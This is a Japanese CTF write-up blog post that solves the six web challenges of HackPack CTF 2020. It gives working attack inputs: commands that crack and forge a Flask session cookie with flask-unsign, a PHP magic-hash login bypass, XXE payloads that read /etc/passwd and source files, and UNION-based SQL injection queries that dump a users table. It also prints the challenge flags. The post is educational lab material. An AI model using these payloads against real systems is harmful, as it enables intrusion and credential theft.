はまやんはまやんはまやん

hamayanhamayan's blog

HackPack CTF 2020 Web 全解説

https://ctftime.org/event/1036

Cookie Forge100pt114/418
Treasure Map100pt356/418
Super Secret Flag Vault100pt324/418
Paster100pt155/418
Custom UI211pt86/418
Online Birthday Party316pt69/418

後追いで解いた。

Cookie Forge

Help a new local cookie bakery startup shake down their new online ordering and loyalty rewards portal at https://cookie-forge.cha.hackpack.club!
I wonder if they will sell you a Flask of milk to go with your cookies...

guest:guestやってみると、一発で入れた。
とりあえずクッキー見てみる。
sessionにFlaskのセッションが入っているんでしょう。JWTですね。

f:id:hamayanhamayan:20200430104550p:plain

flagshipという設定がある。
メニューのFlagship Loyaltyを押すと、You aren't a Flagship Loyalty Member! No cookies for you!!と出る。
flagshipがtrueになっていればよさそう。
algをnoneにしてもだめみたい。

---- 解説見た ----

100点だけど、パスワード解析だったか…
解説を見ると、flusk-unsignというのを得たのが収穫。

flask-unsign -c "eyJmbGFnc2hpcCI6ZmFsc2UsInVzZXJuYW1lIjoiZ3Vlc3QifQ.XqmdeQ.hFE97UZPXYUDDcApFB1b48Uq1MQ" --unsign
これで解析すると、パスワードはpassword1らしい。

flask-unsign --sign --secret password1 --cookie "{'flagship': True, 'username': 'guest'}"
これで作り直して、Cookieに入れなおすと、入れる。

f:id:hamayanhamayan:20200430104607p:plain

参考

Treasure Map

Hmm, do pirates really think they can hide a treasure without us knowing? Find the treasure and prove they are wrong. Check here: https://treasure-map.cha.hackpack.club/

f:id:hamayanhamayan:20200430104625p:plain

どっかにflagがあるから探せと。
ヒントにmapを探せとある。

ソースコードには情報がないが、/robots.txtへ行くと、
Sitemap: /treasuremap.xml
とある。

<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
    <url>
        <loc>7BmqJfhWhEa30NeVj7j2.html</loc>
        <lastmod>2005-01-01</lastmod>
        <changefreq>monthly</changefreq>
        <priority>0.8</priority>
    </url>
</urlset>

OK. /7BmqJfhWhEa30NeVj7j2.htmlへ行くと、フラグが書いてある。

Super Secret Flag Vault

See if you can get into the super secret flag vault! I have used the latest and greatest techniques with php to make sure you cant get past my vault.
Take me to the Vault (with an attachment
https://super-secret-flag-vault.cha.hackpack.club/

f:id:hamayanhamayan:20200430104728p:plain

暗号を入力することで金庫が開いて、フラグが得られるのだろう。
ソースコードを見てみると、内部でパスワードがハッシュ化されてはいっている。
0eから始まっているが、これは既視感がある。
PHPのMagic Hashである。
パスワードをMD5ハッシュしたときにたまたま、先頭が0eになることがある。
MD5ハッシュの比較が弱い==なので、実は"0e?????"=="0e?????"はどんな?であってもtrueになる。
よって、MD5ハッシュして、0eから始まるものを入力すればいい。
例としてはQNKCDZOがある。
これを入れるとフラグゲット。

Paster

Come and BETA Test our new social networking site. Its like twitter but shorter
Go checkout Paster now
https://paster.cha.hackpack.club/

f:id:hamayanhamayan:20200430104745p:plain

入力しても22文字までしか入らないようだ。
なんだかランダムにツイートが出力されているようだが、よくわからない。
ソースコードを見ると、iframeとなっているので/frames/index.phpを見てみる。
さらにjsを参照しているので、/frames/game-frame.jsを見てみる。

f:id:hamayanhamayan:20200430104753p:plain

うわぁ…
これはJSFuckという難読化形式であり、ここで難読化解除できる。

parent.postMessage(window.location.toString(), "*");
var originalAlert = window.alert;
window.alert = function(t) {
    parent.postMessage("success", "*"), flag = atob("ZmxhZ3t4NTVfaTVOdF83aEE3X2JBRF9SMUdoNz99"), setTimeout(function() {
        originalAlert("Congratulations, you executed an alert:\n\n" + t + "\n\nhere is the flag: " + flag)
    }, 50)
};

flag = atob("ZmxhZ3t4NTVfaTVOdF83aEE3X2JBRF9SMUdoNz99")というそれっぽいやつがあるので、中身を見てみる。

f:id:hamayanhamayan:20200430104803p:plain

Custom UI

How often do you visit the website just to bounce back because of bad design? Now we developed a new feature, which gives you the ability to change the design! Check out a new feature: https://custom-ui.cha.hackpack.club/

f:id:hamayanhamayan:20200430104812p:plain

入力したパラメタを差し込めるみたい。
とりあえず異常っぽい<のパラメタを渡してみる。

Warning: DOMDocument::loadXML(): StartTag: invalid element name in Entity, line: 1 in /var/www/html/index.php on line 12
Warning: simplexml_import_dom(): Invalid Nodetype to import in /var/www/html/index.php on line 13

お、内部ではxmlパーサーを使用している。XXEか。
適当に入れてみたがうまくいかない。コードを見てみると、post.jsになにやら処理が書いてある。
フォームに入力するたびに、hiddenになっているxdataタグのvalueに差し込むhtmlが書き込まれる。
ここに、直接htmlを入れると、反映されるようだ。ここに直接ペイロードを入れる。

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><button><color>ffffff</color><value>&xxe;</value></button>

f:id:hamayanhamayan:20200430104829p:plain

来た来た。特に気になるところはないな。
PayloadsAllTheThingsで使えそうなペイロードがないか探す。
なるほど、phpプロトコルのあれを使って、データ抜き出せるのね。
ちょうど、index.phpがあるというのはエラーから分かっているので、抜き出す。

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE netspi [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php" >]><button><color>ffffff</color><value>&xxe;</value></button>

とすると出てくる。echo "<!-- TODO: Delete flag.txt from /etc/ -->";とある。
ほう。

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/flag.txt" >]><button><color>ffffff</color><value>&xxe;</value></button>

f:id:hamayanhamayan:20200430104850p:plain

Online Birthday Party

This pandemic hit everybody hard. Especially, those who want to make a birthday party. That is why we decided to create a website where you can find those who have the same birthdate as yours. Check it out: https://online-birthday-party.cha.hackpack.club/

調査

誕生日が同じ人が見られるサイト。

  • サイト情報
    • /index.php トップページ
    • /account.php ログイン、新規登録ができる
    • /profile.php ログイン後に出るページ
      • GETリクエストだと何も出ないが
      • POSTリクエストだと誕生日が同じユーザーが出てくる
  • HTTPレスポンスを見ると、Apache/2.4.29が使われている
    • ググるとまあまあ出てくる。RCEができるみたいだが、ファイルのアップロードはできないしなぁ
  • Cookie
    • PHPSESSID セッションID。HttpOnly, Secure, SameSiteの設定が入っていない。抜けそう。
    • _7341c http://192.168.181.16:41721/が入っている。なんだろう。
  • 新規登録の誕生日部分
    • 誕生日が同じユーザーを出しているので、これを使って検索しているに違いない
    • SQLiができないだろうか

SQLi

新規登録のレスポンスの誕生日の部分をburpで'に変えてみる。

f:id:hamayanhamayan:20200430104901p:plain

これで誕生日が同じユーザーを探す画面を見ると…

f:id:hamayanhamayan:20200430104908p:plain

OK! SQLiできそうな感じに見えますね。
ご丁寧にクエリまで見せてくれた。

試しにa'#でやってみると、クエリは成功した。
DBはMySQLのようだ。

注意だが、他の人がXSSを試行しているせいで、普通に表示させるとわけわからんことになる。
(というか攻撃を受けているのでは?という気にまでなる)
burpでresponseも止めて、生responseを確認するようにしよう。

a' UNION SELECT DISTINCT TABLE_NAME, null from INFORMATION_SCHEMA.COLUMNS #

CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,OPTIMIZER_TRACE,PARAMETERS,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TABLESPACES,TABLE_CONSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,INNODB_LOCKS,INNODB_TRX,INNODB_SYS_DATAFILES,INNODB_FT_CONFIG,INNODB_SYS_VIRTUAL,INNODB_CMP,INNODB_FT_BEING_DELETED,INNODB_CMP_RESET,INNODB_CMP_PER_INDEX,INNODB_CMPMEM_RESET,INNODB_FT_DELETED,INNODB_BUFFER_PAGE_LRU,INNODB_LOCK_WAITS,INNODB_TEMP_TABLE_INFO,INNODB_SYS_INDEXES,INNODB_SYS_TABLES,INNODB_SYS_FIELDS,INNODB_CMP_PER_INDEX_RESET,INNODB_BUFFER_PAGE,INNODB_FT_DEFAULT_STOPWORD,INNODB_FT_INDEX_TABLE,INNODB_FT_INDEX_CACHE,INNODB_SYS_TABLESPACES,INNODB_METRICS,INNODB_SYS_FOREIGN_COLS,INNODB_CMPMEM,INNODB_BUFFER_POOL_STATS,INNODB_SYS_COLUMNS,INNODB_SYS_FOREIGN,INNODB_SYS_TABLESTATS,users

まあ、色々出てくるけど、usersでいいでしょう。

a' UNION SELECT COLUMN_NAME, null FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'users' #

id,username,password,bday

2つずつ見ていこうか。

a' UNION SELECT id, username FROM users #

特に気になるところなし。

a' UNION SELECT password, bday FROM users #

flag{c0mpl1cat3d_2nd_0rd3r_sql}
ありましたね。